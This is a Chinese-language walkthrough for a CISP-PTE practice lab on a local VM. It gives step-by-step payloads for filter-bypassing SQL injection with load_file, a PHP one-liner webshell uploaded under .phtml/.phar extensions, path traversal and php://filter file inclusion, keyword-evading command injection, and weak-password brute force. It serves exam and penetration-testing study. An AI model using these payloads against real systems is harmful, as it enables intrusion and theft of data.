下载地址:
cisp-pte考试靶场及通关攻略下载
https://mp.weixin.qq.com/s/KB0C9kQxIHKtaFj8P5Fp1w
其中的pte-centos
靶场搭建
参考文章:https://mp.weixin.qq.com/s/5JBl-9BZ2E3CZVF2oxvPEg
靶场的账号密码 root/admin123
修改ip地址:vi /etc/sysconfig/network-scripts/ifcfg-eth0
然后重启虚拟机
我这里的ip地址 192.168.183.166
靶场练习
一共五道题,对应五个端口,分别为81,82,83,84,85
01 SQL注入
http://192.168.183.166:81/
通过SQL注入漏洞读取/tmp/360/key文件,答案就在文件中。
当前执行的语句:select * from article where id= ('1')
闭合SQL语句http://192.168.183.166:81/vulnerabilities/fu1.php?id=1%27)%23
构造SQL语句,常用的文件读取函数 load_file()
因为有回显,所以采用联合查询
union select
发现union被过滤,尝试大小写以及双写绕过ununionion
同时发现过滤了空格,采用注释绕过/**/
之后找到字段的长度 通过order by猜测
判断是否能够使用order by
http://192.168.183.166:81/vulnerabilities/fu1.php?id=1%27)/**/order/**/by/**/1%23
判断字段数量是否大于10
http://192.168.183.166:81/vulnerabilities/fu1.php?id=1%27)/**/order/**/by/**/10%23
然后通过二分法确定字段数
最后确定字段数量为4
http://192.168.183.166:81/vulnerabilities/fu1.php?id=1%27)/**/order/**/by/**/4%23
联合查询
http://192.168.183.166:81/vulnerabilities/fu1.php?id=0%27)/**/ununionion/**/select%20/**/1,2,3,4%23
之后通过load_file读取文件 load_file("/tmp/360/key")
fu1.php?id=0%27)/**/ununionion/**/select%20/**/1,load_file("/tmp/360/key"),3,4%23
成功获取key
知识点
SQL语句绕过检测
联合查询
SQL注入读取文件
02 文件上传
http://192.168.183.166:82/
思路:为了方便,构造图片马,然后burpsuite抓取上传包修改后缀
图片可以画图,或者截图保存,推荐的格式是jpg
一句话木马
eval($_POST[x]) @
cmd命令 copy pic.jpg + web.txt webshell.jpg
抓取数据包修改后缀 .php未成功,尝试绕过,
大小写.pHP ,上传了但是无法解析
尝试其他的可能被解析的后缀
.phtml
.phar
成功执行命令,查看key
x=system("cat /app/key.php");
具体参考:https://mp.weixin.qq.com/s/2KY-ckzmoAhrULxr43M58g
知识点
Apache中间件漏洞
图片马制作
03 文件包含
http://192.168.183.166:83/
http://192.168.183.166:83/vulnerabilities/fu1.php?file=view.html
变量中有文件,尝试替换为其他文件
http://192.168.183.166:83/vulnerabilities/fu1.php?file=../../../../etc/passwd
读取key
http://192.168.183.166:83/vulnerabilities/fu1.php?file=key.php
然后../一层一层查找
但是发现它直接将php文件解析,无法读取,需要其他方式
依靠php伪协议,这个到时候可能需要背下来
http://192.168.183.166:83/vulnerabilities/fu1.php?file=php://filter/read=convert.base64-encode/resource=../key.php
知识点:
php伪协议
04 命令执行
http://192.168.183.166:84/
查看数据包
POST /vulnerabilities/fu1.php HTTP/1.1
Host: 192.168.183.166:84
Content-Length: 143
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.183.166:84
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1fKI9IoetwTDRvLU
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.183.166:84/vulnerabilities/fu1.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary1fKI9IoetwTDRvLU
Content-Disposition: form-data; name="cmd"
127.0.0.1
------WebKitFormBoundary1fKI9IoetwTDRvLU--
常规的命令执行绕过
猜测服务端的执行语句为 ping 127.0.0.1
尝试
ping 127.0.0.1;whoami
存在敏感字符,需要绕过
ping 127.0.0.1;ca$1t ../key.php
因为linux中没有定义遍历$1,所以为空,后续就是执行cat ../key.php
具体参考:https://mp.weixin.qq.com/s/kAXfP4kNs03ItW0w_vb8Og
05 日志分析
访问 http://192.168.183.166:85/access.log
发现后台 http://192.168.183.166:85/adminlogin.php ,再分析,得出攻击者是通过弱口令爆破进入的后台
试弱口令登录后台,没成功,使用字典
密码:password123
本文由拔丝英语网 - buzzrecipe.com(精选英语文章+课程)收藏,供学习使用,分享转发是更大的支持!由 进击的HACK原创,版权归原作者所有。
发表评论